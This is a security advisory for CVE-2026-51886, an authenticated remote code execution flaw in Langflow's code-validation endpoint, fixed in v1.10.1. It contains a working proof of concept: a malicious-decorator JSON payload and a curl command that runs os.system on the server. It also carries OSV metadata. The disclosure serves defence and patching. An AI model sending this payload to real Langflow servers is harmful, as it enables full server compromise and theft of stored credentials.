GHSA-W584-2H2R-2HVF
Vulnerability from github – Published: 2026-10-05 22:31 – Updated: 2026-10-05 22:31Summary:
A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The/api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.
Details
The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).
The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:
# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
# ...
# exec_globals creates a restricted-looking scope, but standard builtins are available
exec(code_obj, exec_globals)
By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.
Affected Versions
/api/v1/validate/codehad no authentication at all until commit3fed9fe1b5("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this sameexec()sink was reachable unauthenticated.- From v1.7.2 through v1.10.0, the endpoint required a valid session but the
exec()sink was untouched, so any authenticated user (or any user at all underAUTO_LOGIN) could trigger RCE via a malicious decorator as described below. - Fixed in v1.10.1 — see Fix section.
PoC
- Authenticate as any user (acquire a valid access token or API key).
- Send a POST request to /api/v1/validate/code with the following JSON payload:
{
"code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n pass"
}
Curl Example
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n pass"}'
Verify: Check the server file system. The file /tmp/pwned will be created.
Impact
This vulnerability results in Remote Code Execution (RCE).
Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.
Fix
Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.
This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.2"
},
{
"fixed": "1.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-51886"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:31:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "###Summary:\nA critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The` /api/v1/validate/code` endpoint, meant to validate user-supplied code, leverages Python\u0027s exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.\n\n\n\n### Details\nThe vulnerability is located in `src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py`).\n\nThe validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:\n\n```\n# src/lfx/src/lfx/custom/validate.py\nif isinstance(node, ast.FunctionDef):\n code_obj = compile(ast.Module(body=[node], type_ignores=[]), \"\u003cstring\u003e\", \"exec\")\n # ...\n # exec_globals creates a restricted-looking scope, but standard builtins are available\n exec(code_obj, exec_globals)\n```\n\nBy design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the \"validation\" phase.\n\n### Affected Versions\n\n- **`/api/v1/validate/code` had no authentication at all** until commit `3fed9fe1b5` (\"fix: Add authentication to various endpoints\", #10977), first released in **v1.7.2**. Before that release, this same `exec()` sink was reachable **unauthenticated**.\n- From **v1.7.2 through v1.10.0**, the endpoint required a valid session but the `exec()` sink was untouched, so any authenticated user (or any user at all under `AUTO_LOGIN`) could trigger RCE via a malicious decorator as described below.\n- Fixed in **v1.10.1** \u2014 see Fix section.\n\n### PoC\n- Authenticate as any user (acquire a valid access token or API key).\n- Send a POST request to /api/v1/validate/code with the following JSON payload:\n```\n{\n \"code\": \"@lambda x: (__import__(\u0027os\u0027).system(\u0027touch /tmp/pwned\u0027), x)[1]\\ndef pwned():\\n pass\"\n}\n```\nCurl Example\n```\ncurl -X POST \"http://\u003cTARGET_HOST\u003e/api/v1/validate/code\" \\\n -H \"Authorization: Bearer \u003cYOUR_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\": \"@lambda x: (__import__(\\\"os\\\").system(\\\"echo RCE_SUCCESS \u003e /tmp/pwned\\\"), x)[1]\\ndef pwned():\\n pass\"}\u0027\n```\nVerify: Check the server file system. The file /tmp/pwned will be created.\n\n### Impact\nThis vulnerability results in Remote Code Execution (RCE).\n\nImpacted Parties: Any user with access to the Langflow instance (Authenticated Users).\nConsequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.\n\n### Fix\nFixed in **v1.10.1** by PR [#13696](https://github.com/langflow-ai/langflow/pull/13696) (commit `e7c33dbaad`, tracked as **GHSA-2wcq-pvw2-xh7v**): `validate_code()` in `src/lfx/src/lfx/custom/validate.py` no longer `exec()`s submitted `FunctionDef` nodes. It now only `compile()`s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.\n\nThis same fix independently resolves the different exploitation technique reported in duplicate advisory **GHSA-xjq8-cqrm-7m4x** (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink \u2014 the unconditional `exec()` in `validate_code()` \u2014 and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.",
"id": "GHSA-w584-2h2r-2hvf",
"modified": "2026-10-05T22:31:00Z",
"published": "2026-10-05T22:31:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-51886"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/issues/13336"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/pull/13696"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/commit/e7c33dbaade20b5295c7fa26bf83cc1ff68fba02"
},
{
"type": "WEB",
"url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/releases/tag/v1.10.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.